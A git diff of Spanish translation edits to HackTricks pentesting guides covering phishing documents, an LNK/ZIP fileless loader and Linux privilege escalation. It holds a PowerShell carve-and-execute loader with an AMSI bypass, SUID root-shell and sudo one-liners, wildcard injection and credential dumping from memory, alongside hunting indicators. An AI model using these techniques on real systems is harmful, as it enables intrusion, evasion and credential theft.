el desarrollo iterativo del exploit. +- Los watchdogs de servicio (service watchdogs) que reinician automáticamente tras un crash pueden facilitar el desarrollo iterativo del exploit. -## References +## Referencias - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 0faa2f2db..2e02952f2 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,14 +1,14 @@ -# Phishing Archivos & Documentos +# Phishing Archivos y Documentos {{#include ../../banners/hacktricks-training.md}} ## Documentos de Office -Microsoft Word realiza la validación de datos del archivo antes de abrir un archivo. La validación de datos se realiza en forma de identificación de la estructura de datos, conforme al estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo que se está analizando no se abrirá. +Microsoft Word realiza una validación de datos del archivo antes de abrirlo. La validación de datos se efectúa en forma de identificación de la estructura de datos, contra el estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo analizado no se abrirá. -Normalmente, los archivos de Word que contienen macros usan la extensión `.docm`. Sin embargo, es posible renombrar el archivo cambiando la extensión y aún conservar sus capacidades de ejecución de macros.\ -Por ejemplo, un archivo RTF no admite macros por diseño, pero un archivo DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros.\ -La misma lógica interna y los mismos mecanismos se aplican a todo el software de la Microsoft Office Suite (Excel, PowerPoint etc.). +Normalmente, los archivos de Word que contienen macros usan la extensión `.docm`. Sin embargo, es posible renombrar el archivo cambiando la extensión y aún conservar la capacidad de ejecución de sus macros.\ +Por ejemplo, un archivo RTF no soporta macros, por diseño, pero un archivo DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros.\ +Los mismos mecanismos y estructuras internas se aplican a todo el software de la Microsoft Office Suite (Excel, PowerPoint, etc.). Puedes usar el siguiente comando para comprobar qué extensiones van a ser ejecutadas por algunos programas de Office: ```bash @@ -19,7 +19,7 @@ Los archivos DOCX que referencian una plantilla remota (File –Options –Add-i ### Carga de imagen externa Ir a: _Insert --> Quick Parts --> Field_\ -_**Categorías**: Links and References, **Nombres de campo**: includePicture, y **Filename or URL**:_ http:///whatever +_**Categorías**: Links and References, **Nombres de campo**: includePicture, y **Nombre de archivo o URL**:_ http:///whatever ![](<../../images/image (155).png>) @@ -27,7 +27,7 @@ _**Categorías**: Links and References, **Nombres de campo**: includePicture, y Es posible usar macros para ejecutar código arbitrario desde el documento. -#### Autoload functions +#### Funciones de autoload Cuanto más comunes sean, más probable será que el AV las detecte. @@ -68,12 +68,12 @@ proc.Create "powershell Ve a **File > Info > Inspect Document > Inspect Document**, lo que abrirá el Document Inspector. Haz clic en **Inspect** y luego en **Remove All** junto a **Document Properties and Personal Information**. -#### Doc Extension +#### Extensión de documento -Al terminar, seleccione el desplegable **Save as type**, cambie el formato de **`.docx`** a **Word 97-2003 `.doc`**.\ -Haz esto porque **no puedes guardar macro's dentro de un `.docx`** y hay un **estigma** **alrededor** de la extensión habilitada para macros **`.docm`** (p. ej. el icono en miniatura tiene un enorme `!` y algunos gateways web/de correo las bloquean por completo). Por lo tanto, esta **extensión `.doc` heredada es el mejor compromiso**. +Al terminar, selecciona el desplegable **Save as type**, cambia el formato de **`.docx`** a **Word 97-2003 `.doc`**.\ +Haz esto porque **no puedes guardar macro's inside a `.docx`** y existe un **estigma** **around** la extensión habilitada para macros **`.docm`** (p. ej., el icono en miniatura tiene un gran `!` y algunos web/email gateway las bloquean por completo). Por lo tanto, esta **legacy `.doc` extension es el mejor compromiso**. -#### Generadores de Macros maliciosas +#### Malicious Macros Generators - MacOS - [**macphish**](https://github.com/cldrn/macphish) @@ -81,9 +81,9 @@ Haz esto porque **no puedes guardar macro's dentro de un `.docx`** y hay un **es ## Archivos HTA -Un HTA es un programa de Windows que **combina HTML y lenguajes de scripting (como VBScript y JScript)**. Genera la interfaz de usuario y se ejecuta como una aplicación "totalmente confiable", sin las limitaciones del modelo de seguridad de un navegador. +Un HTA es un programa de Windows que **combina HTML y lenguajes de scripting (como VBScript y JScript)**. Genera la interfaz de usuario y se ejecuta como una aplicación "fully trusted", sin las restricciones del modelo de seguridad de un navegador. -Un HTA se ejecuta usando **`mshta.exe`**, que normalmente viene **instalado** junto con **Internet Explorer**, haciendo que **`mshta` dependa de IE**. Por lo tanto, si este ha sido desinstalado, los HTA no podrán ejecutarse. +Un HTA se ejecuta usando **`mshta.exe`**, que normalmente está **installed** junto con **Internet Explorer**, lo que hace que **`mshta` dependant on IE**. Por lo tanto, si este ha sido desinstalado, los HTA no podrán ejecutarse. ```html <--! Basic HTA Execution --> @@ -138,9 +138,9 @@ var_func self.close ``` -## Forcing NTLM Authentication +## Forzar la autenticación NTLM -Hay varias formas de **forzar la autenticación NTLM "de forma remota"**, por ejemplo, puedes añadir **imágenes invisibles** a emails o HTML que el usuario abrirá (¿incluso HTTP MitM?). O enviar a la víctima la **dirección de archivos** que **dispararán** una **autenticación** solo por **abrir la carpeta.** +Hay varias formas de **forzar la autenticación NTLM "remotamente"**, por ejemplo, puedes añadir **imágenes invisibles** a correos o HTML que el usuario accederá (¿incluso HTTP MitM?). O enviar a la víctima la **dirección de archivos** que **dispararán** una **autenticación** solo por **abrir la carpeta.** **Consulta estas ideas y más en las siguientes páginas:** @@ -163,17 +163,17 @@ No olvides que no solo puedes robar el hash o la autenticación, sino también * ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Las campañas altamente efectivas entregan un ZIP que contiene dos documentos señuelo legítimos (PDF/DOCX) y un .lnk malicioso. El truco es que el loader real de PowerShell está almacenado dentro de los bytes crudos del ZIP después de un marcador único, y el .lnk lo extrae y ejecuta completamente en memoria. +Campañas altamente efectivas entregan un ZIP que contiene dos documentos señuelo legítimos (PDF/DOCX) y un .lnk malicioso. El truco es que el loader de PowerShell real se almacena dentro de los bytes crudos del ZIP después de un marcador único, y el .lnk lo extrae y ejecuta completamente en memoria. -Flujo típico implementado por el one-liner de PowerShell del .lnk: +Flujo típico implementado por el one-liner de PowerShell en el .lnk: -1) Localizar el ZIP original en rutas comunes: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, y el padre del directorio de trabajo actual. -2) Leer los bytes del ZIP y buscar un marcador hardcodeado (p. ej., xFIQCV). Todo lo que venga después del marcador es la payload de PowerShell embebida. -3) Copiar el ZIP a %ProgramData%, extraerlo allí y abrir el .docx señuelo para parecer legítimo. -4) Bypassear AMSI para el proceso actual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) Deobfuscar la siguiente etapa (p. ej., eliminar todos los caracteres #) y ejecutarla en memoria. +1) Localizar el ZIP original en rutas comunes: Desktop, Downloads, Documents, %TEMP%, %ProgramData% y el directorio padre del directorio de trabajo actual. +2) Leer los bytes del ZIP y encontrar un marcador hardcodeado (p. ej., xFIQCV). Todo lo que siga al marcador es la carga útil de PowerShell embebida. +3) Copiar el ZIP a %ProgramData%, extraerlo allí y abrir el .docx señuelo para aparentar legitimidad. +4) Evadir AMSI para el proceso actual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) Desofuscar la siguiente etapa (p. ej., eliminar todos los caracteres #) y ejecutarla en memoria. -Example PowerShell skeleton to carve and run the embedded stage: +Ejemplo de esqueleto de PowerShell para extraer y ejecutar la etapa embebida: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( @@ -191,21 +191,21 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` Notas -- La entrega a menudo abusa de subdominios PaaS reputados (p. ej., *.herokuapp.com) y puede condicionar payloads (servir ZIPs benignos según IP/UA). -- La siguiente etapa frecuentemente desencripta shellcode base64/XOR y lo ejecuta vía Reflection.Emit + VirtualAlloc para minimizar artefactos en disco. +- La entrega a menudo abusa de subdominios PaaS reputados (p. ej., *.herokuapp.com) y puede condicionar los payloads (servir ZIPs benignos según IP/UA). +- La etapa siguiente con frecuencia descifra shellcode base64/XOR y lo ejecuta vía Reflection.Emit + VirtualAlloc para minimizar artefactos en disco. -Persistencia usada en la misma cadena -- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here: +Persistencia utilizada en la misma cadena +- COM TypeLib hijacking del Microsoft Web Browser control para que IE/Explorer o cualquier app que lo embeba vuelva a lanzar el payload automáticamente. Ver detalles y comandos listos para usar aquí: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} Hunting/IOCs -- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data. -- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document. -- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- Long-running business threads ending with links hosted under trusted PaaS domains. +- Archivos ZIP que contienen la cadena marcador ASCII (por ejemplo, xFIQCV) añadida a los datos del archivo. +- .lnk que enumera carpetas padre/usuario para localizar el ZIP y abre un documento señuelo. +- Manipulación de AMSI vía [System.Management.Automation.AmsiUtils]::amsiInitFailed. +- Hilos de negocio de larga duración que terminan con enlaces alojados bajo dominios PaaS de confianza. ## Referencias diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 622691f15..9c86a794b 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,7 +4,7 @@ ## Información del sistema -### Información del sistema operativo +### Información del SO Comencemos a obtener información sobre el sistema operativo en ejecución ```bash @@ -12,40 +12,40 @@ Comencemos a obtener información sobre el sistema operativo en ejecución lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### PATH -Si **tienes permisos de escritura en cualquier carpeta dentro de la variable `PATH`**, podrías ser capaz de secuestrar algunas librerías o binarios: +Si **tienes permisos de escritura en cualquier carpeta dentro de la variable `PATH`** podrías ser capaz de hijack algunas libraries o binaries: ```bash echo $PATH ``` ### Información del entorno -¿Información interesante, contraseñas o claves API en las variables de entorno? +¿Información interesante, contraseñas o API keys en las variables de entorno? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Comprueba la versión del kernel y si existe algún exploit que pueda usarse para escalar privilegios +Comprueba la versión del kernel y si existe algún exploit que pueda usarse para escalar privilegios. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Puedes encontrar una buena lista de kernels vulnerables y algunos **compiled exploits** aquí: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Puedes encontrar una buena lista de kernels vulnerables y algunos ya **compiled exploits** aquí: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) y [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Otros sitios donde puedes encontrar algunos **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Para extraer todas las versiones del kernel vulnerables de ese sitio puedes hacer: +Para extraer todas las versiones de kernel vulnerables de ese sitio puedes hacer: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Herramientas que pueden ayudar a buscar exploits del kernel son: +Herramientas que podrían ayudar a buscar kernel exploits son: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar EN la víctima, solo comprueba exploits para kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar EN victim, solo comprueba exploits para kernel 2.x) -Siempre **busca la versión del kernel en Google**, puede que tu versión del kernel esté mencionada en algún exploit del kernel y así te asegurarás de que ese exploit es válido. +Siempre **busca la versión del kernel en Google**, puede que la versión de tu kernel esté mencionada en algún exploit del kernel y así estarás seguro de que ese exploit es válido. ### CVE-2016-5195 (DirtyCow) @@ -73,9 +73,9 @@ De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg verificación de firma fallida +### Dmesg signature verification failed -Consulta **smasher2 box of HTB** para ver un **ejemplo** de cómo se podría explotar esta vuln +Consulta **smasher2 box of HTB** para un **ejemplo** de cómo se podría explotar esta vuln ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -125,14 +125,13 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null Si estás dentro de un docker container, puedes intentar escapar de él: - {{#ref}} docker-security/ {{#endref}} ## Unidades -Comprueba **qué está montado y desmontado**, dónde y por qué. Si algo está desmontado, podrías intentar montarlo y buscar información privada. +Comprueba **qué está montado y desmontado**, dónde y por qué. Si algo está desmontado, podrías intentar montarlo y comprobar si contiene información privada. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,56 +144,56 @@ Enumerar binarios útiles ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Además, comprueba si **algún compilador está instalado**. Esto es útil si necesitas usar algún kernel exploit, ya que se recomienda compilarlo en la máquina donde lo vas a usar (o en una similar) +Además, comprueba si **any compiler is installed**. Esto es útil si necesitas usar algún kernel exploit, ya que se recomienda compilarlo en la máquina donde lo vas a usar (o en una similar) ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Software vulnerable instalado -Comprueba la **versión de los paquetes y servicios instalados**. Puede que exista alguna versión antigua de Nagios (por ejemplo) que podría explotarse para escalating privileges…\ -Se recomienda comprobar manualmente la versión del software instalado que parezca más sospechoso. +Comprueba la **versión de los paquetes y servicios instalados**. Puede que exista alguna versión antigua de Nagios (por ejemplo) que podría explotarse para escalar privilegios…\ +Se recomienda comprobar manualmente la versión del software instalado que resulte más sospechoso. ```bash dpkg -l #Debian rpm -qa #Centos ``` -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +Si tienes acceso SSH a la máquina, también podrías usar **openVAS** para comprobar si hay software instalado en la máquina que esté desactualizado o sea vulnerable. -> [!NOTE] > _Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por lo tanto se recomiendan aplicaciones como OpenVAS o similares que comprobarán si alguna versión de software instalada es vulnerable a exploits conocidos_ +> [!NOTE] > _Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil; por lo tanto, se recomiendan aplicaciones como OpenVAS o similares que comprueben si alguna versión del software instalada es vulnerable a exploits conocidos_ ## Procesos -Echa un vistazo a **qué procesos** se están ejecutando y verifica si algún proceso tiene **más privilegios de los que debería** (¿quizás un tomcat ejecutándose como root?) +Echa un vistazo a **qué procesos** se están ejecutando y comprueba si algún proceso tiene **más privilegios de los que debería** (¿quizá un tomcat ejecutándose como root?) ```bash ps aux ps -ef top -n 1 ``` -Revisa siempre si hay [**electron/cef/chromium debuggers** ejecutándose; podrías abusar de ellos para escalar privilegios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esos comprobando el parámetro `--inspect` dentro de la línea de comandos del proceso.\ -También **verifica tus privilegios sobre los binarios de los procesos**, quizá puedas sobrescribir alguno. +Revisa siempre si hay [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** los detecta comprobando el parámetro `--inspect` en la línea de comandos del proceso.\ +Además, **verifica tus privilegios sobre los binarios de los procesos**, quizá puedas sobrescribir alguno. -### Monitoreo de procesos +### Monitorización de procesos Puedes usar herramientas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorizar procesos. Esto puede ser muy útil para identificar procesos vulnerables que se ejecutan con frecuencia o cuando se cumplen un conjunto de requisitos. ### Memoria de procesos Algunos servicios de un servidor guardan **credenciales en texto claro dentro de la memoria**.\ -Normalmente necesitarás **root privileges** para leer la memoria de procesos que pertenecen a otros usuarios, por lo tanto esto suele ser más útil cuando ya eres root y quieres descubrir más credenciales.\ -Sin embargo, recuerda que **como usuario regular puedes leer la memoria de los procesos que posees**. +Normalmente necesitarás **privilegios root** para leer la memoria de procesos que pertenecen a otros usuarios; por lo tanto, esto suele ser más útil cuando ya eres root y quieres descubrir más credenciales.\ +Sin embargo, recuerda que **como usuario normal puedes leer la memoria de los procesos que posees**. > [!WARNING] -> Ten en cuenta que hoy en día la mayoría de máquinas **no permiten ptrace por defecto**, lo que significa que no puedes volcar otros procesos que pertenezcan a tu usuario sin privilegios. +> Ten en cuenta que hoy en día la mayoría de las máquinas **no permiten ptrace por defecto**, lo que significa que no puedes volcar otros procesos que pertenezcan a tu usuario sin privilegios. > > El archivo _**/proc/sys/kernel/yama/ptrace_scope**_ controla la accesibilidad de ptrace: > -> - **kernel.yama.ptrace_scope = 0**: todos los procesos pueden ser depurados, siempre que tengan el mismo uid. Esta es la forma clásica de cómo funcionaba ptracing. -> - **kernel.yama.ptrace_scope = 1**: solo un proceso padre puede ser depurado. -> - **kernel.yama.ptrace_scope = 2**: Solo el admin puede usar ptrace, ya que requiere la capacidad CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: No se puede trazar ningún proceso con ptrace. Una vez establecido, es necesario reiniciar para habilitar ptracing nuevamente. +> - **kernel.yama.ptrace_scope = 0**: todos los procesos pueden ser depurados, siempre que tengan el mismo uid. Esta es la forma clásica en que funcionaba ptrace. +> - **kernel.yama.ptrace_scope = 1**: solo puede depurarse el proceso padre. +> - **kernel.yama.ptrace_scope = 2**: solo el administrador puede usar ptrace, ya que requiere la capacidad CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: ningún proceso puede ser trazado con ptrace. Una vez establecido, se necesita reiniciar para habilitar de nuevo ptracing. #### GDB -Si tienes acceso a la memoria de un servicio FTP (por ejemplo) podrías obtener el Heap y buscar en su interior las credenciales. +Si tienes acceso a la memoria de un servicio FTP (por ejemplo) podrías obtener el Heap y buscar en su interior credenciales. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### Script de GDB ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para un ID de proceso dado, **maps muestran cómo la memoria está mapeada dentro del espacio de direcciones virtual de ese proceso**; también muestra las **permisiones de cada región mapeada**. El archivo pseudo **mem** **expone la propia memoria del proceso**. Desde el archivo **maps** sabemos qué **regiones de memoria son legibles** y sus desplazamientos. Usamos esta información para **hacer seek en el archivo mem y dump todas las regiones legibles** en un archivo. +Para un ID de proceso dado, maps muestra cómo está mapeada la memoria dentro del espacio de direcciones virtual de ese proceso; también muestra los permisos de cada región mapeada. El pseudoarchivo mem expone la propia memoria del proceso. Desde el archivo maps sabemos qué regiones de memoria son legibles y sus desplazamientos. Usamos esta información para posicionarnos en el archivo mem y volcar todas las regiones legibles a un archivo. ```bash procdump() ( @@ -236,9 +235,9 @@ Típicamente, `/dev/mem` solo es legible por **root** y el grupo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump para Linux +### ProcDump for linux -ProcDump es una versión para Linux de la clásica herramienta ProcDump de la suite Sysinternals para Windows. Consíguelo en [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump es una reimaginación para Linux de la clásica herramienta ProcDump de la suite Sysinternals para Windows. Consíguelo en [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -270,35 +269,35 @@ Press Ctrl-C to end monitoring without terminating the process. Para volcar la memoria de un proceso puedes usar: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y volcar el proceso que te pertenece -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (se requiere root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y volcar el proceso que pertenece a tu usuario +- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (se requiere root) ### Credenciales desde la memoria del proceso #### Ejemplo manual -Si encuentras que el proceso authenticator está en ejecución: +Si detectas que el proceso authenticator está en ejecución: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Puedes dump the process (ver las secciones anteriores para encontrar diferentes maneras de dump the memory of a process) y buscar credentials dentro de la memory: +Puedes volcar el proceso (consulta las secciones anteriores para encontrar diferentes formas de volcar la memoria de un proceso) y buscar credentials dentro de la memoria: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **extraerá credenciales en texto claro de la memoria** y de algunos **archivos bien conocidos**. Requiere privilegios root para funcionar correctamente. +La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) robará **credenciales en texto claro de la memoria** y de algunos **archivos bien conocidos**. Requiere privilegios de root para funcionar correctamente. -| Funcionalidad | Nombre del proceso | +| Característica | Nombre del proceso | | ------------------------------------------------- | -------------------- | | Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (Conexiones FTP activas) | vsftpd | +| Apache2 (Sesiones HTTP Basic Auth activas) | apache2 | +| OpenSSH (Sesiones SSH activas - uso de sudo) | sshd: | #### Expresiones regulares de búsqueda/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -316,34 +315,34 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Tareas programadas/Cron jobs -Comprueba si alguna tarea programada es vulnerable. Quizás puedas aprovechar un script ejecutado por root (wildcard vuln? ¿puedes modificar archivos que root usa? ¿usar symlinks? ¿crear archivos específicos en el directorio que root usa?). +Comprueba si alguna tarea programada es vulnerable. Quizá puedas aprovechar un script ejecutado por root (wildcard vuln? ¿puedes modificar archivos que root usa? ¿usar symlinks? ¿crear archivos específicos en el directorio que root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Ruta de Cron +### Cron path Por ejemplo, dentro de _/etc/crontab_ puedes encontrar el PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_Nota cómo el usuario "user" tiene privilegios de escritura sobre /home/user_) Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer el PATH. Por ejemplo: _\* \* \* \* root overwrite.sh_\ -Entonces, puedes obtener un root shell usando: +Entonces, puedes obtener una shell root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron usando un script con un wildcard (Wildcard Injection) -Si un script es ejecutado por root y tiene un “**\***” dentro de un comando, podrías explotarlo para causar comportamientos inesperados (como privesc). Ejemplo: +Si un script ejecutado por root tiene un “**\***” dentro de un comando, podrías explotar esto para provocar cosas inesperadas (como privesc). Ejemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Si el wildcard va precedido de una ruta como** _**/some/path/\***_ **, no es vulnerable (ni siquiera** _**./\***_ **lo es).** +**Si el wildcard va precedido de una ruta como** _**/some/path/\***_ **, no es vulnerable (incluso** _**./\***_ **no lo es).** -Lee la siguiente página para más trucos de explotación de wildcard: +Lee la siguiente página para más trucos de explotación de wildcards: {{#ref}} @@ -352,29 +351,29 @@ wildcards-spare-tricks.md ### Cron script overwriting and symlink -Si **puedes modificar un cron script** ejecutado por root, puedes obtener un shell muy fácilmente: +Si **puedes modificar un cron script** ejecutado por root, puedes obtener una shell muy fácilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si el script ejecutado por root usa un **directorio donde tienes acceso completo**, podría ser útil eliminar esa carpeta y **crear un symlink hacia otra carpeta** que sirva un script controlado por ti +Si el script ejecutado por root utiliza un **directorio al que tienes acceso completo**, podría ser útil eliminar esa carpeta y **crear un symlink de la carpeta hacia otra** que sirva un script controlado por ti ```bash ln -d -s ``` ### Cron jobs frecuentes -Puedes monitorizar los procesos para buscar procesos que se están ejecutando cada 1, 2 o 5 minutos. Quizás puedas aprovecharlo y escalar privilegios. +Puedes monitorizar los procesos para buscar procesos que se están ejecutando cada 1, 2 o 5 minutos. Quizá puedas aprovecharlo y elevar privilegios. -For example, to **monitorizar cada 0.1s durante 1 minuto**, **ordenar por comandos menos ejecutados** y eliminar los comandos que se han ejecutado más, puedes hacer: +Por ejemplo, para **monitorizar cada 0.1s durante 1 minuto**, **ordenar por los comandos menos ejecutados** y eliminar los comandos que se han ejecutado más, puedes hacer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitorizará y listará cada proceso que se inicie). +**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitoriza y lista cada proceso que se inicia). ### Cron jobs invisibles -Es posible crear un cronjob **colocando un retorno de carro después de un comentario** (sin el carácter de nueva línea), y el cron job funcionará. Ejemplo (nota el carácter de retorno de carro): +Es posible crear un cronjob **insertando un carriage return después de un comentario** (sin carácter de nueva línea), y el cronjob funcionará. Ejemplo (nota el carácter carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -382,32 +381,32 @@ Es posible crear un cronjob **colocando un retorno de carro después de un comen ### Archivos _.service_ escribibles -Comprueba si puedes escribir cualquier archivo `.service`, si puedes, **podrías modificarlo** para que **ejecute** tu **backdoor cuando** el servicio se **inicie**, **reinicie** o **se detenga** (tal vez necesites esperar hasta que la máquina sea reiniciada).\ -Por ejemplo, crea tu backdoor dentro del archivo .service con **`ExecStart=/tmp/script.sh`** +Comprueba si puedes escribir cualquier archivo `.service`, si puedes, **podrías modificarlo** para que **ejecute** tu **backdoor cuando** el servicio sea **iniciado**, **reiniciado** o **detenido** (quizá necesites esperar hasta que la máquina se reinicie).\ +Por ejemplo crea tu backdoor dentro del .service file con **`ExecStart=/tmp/script.sh`** -### Binarios de servicio escribibles +### Writable service binaries -Ten en cuenta que si tienes **permisos de escritura sobre binarios ejecutados por servicios**, puedes cambiarlos por backdoors para que cuando los servicios se vuelvan a ejecutar se ejecuten los backdoors. +Ten en cuenta que si tienes **write permissions over binaries being executed by services**, puedes cambiarlos por backdoors para que cuando los services se vuelvan a ejecutar se ejecuten los backdoors. -### systemd PATH - Rutas relativas +### systemd PATH - Relative Paths Puedes ver el PATH usado por **systemd** con: ```bash systemctl show-environment ``` -Si descubres que puedes **escribir** en cualquiera de las carpetas de la ruta, es posible que puedas **escalar privilegios**. Debes buscar **rutas relativas usadas en archivos de configuración de servicios** como: +Si descubres que puedes **write** en cualquiera de las carpetas de la ruta, puede que puedas **escalate privileges**. Necesitas buscar **relative paths being used on service configurations** en archivos como: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Entonces, crea un **ejecutable** con el **mismo nombre que el binario de la ruta relativa** dentro de la carpeta del PATH de systemd a la que 